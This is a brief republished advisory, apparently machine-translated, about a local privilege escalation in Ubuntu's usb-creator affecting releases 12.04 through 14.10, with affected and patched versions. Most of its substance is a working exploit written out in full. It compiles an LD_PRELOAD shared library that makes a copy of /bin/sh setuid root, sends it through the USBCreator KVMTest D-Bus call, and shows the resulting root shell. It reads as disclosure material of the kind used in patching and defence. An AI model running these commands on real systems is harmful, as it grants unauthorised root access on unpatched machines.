Ubuntu Local Privilege Escalation Vulnerability affected versions 12.04-14.10 (including EXP)

Source: Internet
Author: User

Ubuntu Local Privilege Escalation Vulnerability affected versions 12.04-14.10 (including EXP)

 

Today, Ubuntu12.04-14.10 revealed a local privilege escalation vulnerability, which was developed by Google's great god, Tavis Ormandy, including a vulnerability exploitation test program.

Vulnerability level:

High risk

Impact Scope

Ubuntu Precise (12.04LTS) <= usb-creator: 0.2.38.3ubuntu (Patched in: 0.2.38.3ubuntu0.1)
Ubuntu Trusty (14.04LTS) <= usb-creator 0.2.56.3ubuntu (Patched in: 0.2.56.3ubuntu0.1)
Ubuntu Utopic (14.10) <= usb-creator 0.2.62ubuntu0.2 (Patched in: 0.2.62ubuntu0.3)

Vulnerability Testing EXP

$ cat > test.cvoid __attribute__((constructor)) init (void){chown("/tmp/test", 0, 0);chmod("/tmp/test", 04755);}^D$ gcc -shared -fPIC -o /tmp/test.so test.c$ cp /bin/sh /tmp/test$ dbus-send --print-reply --system --dest=com.ubuntu.USBCreator /com/ubuntu/USBCreator com.ubuntu.USBCreator.KVMTest string:/dev/sda dict:string:string:DISPLAY,"foo",XAUTHORITY,"foo",LD_PRELOAD,"/tmp/test.so"method return sender=:1.4364 -> dest=:1.7427 reply_serial=2$ ls -l /tmp/test-rwsr-xr-x 1 root root 121272 Apr 22 16:43 /tmp/test$ /tmp/test# ideuid=0(root) groups=0(root)

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.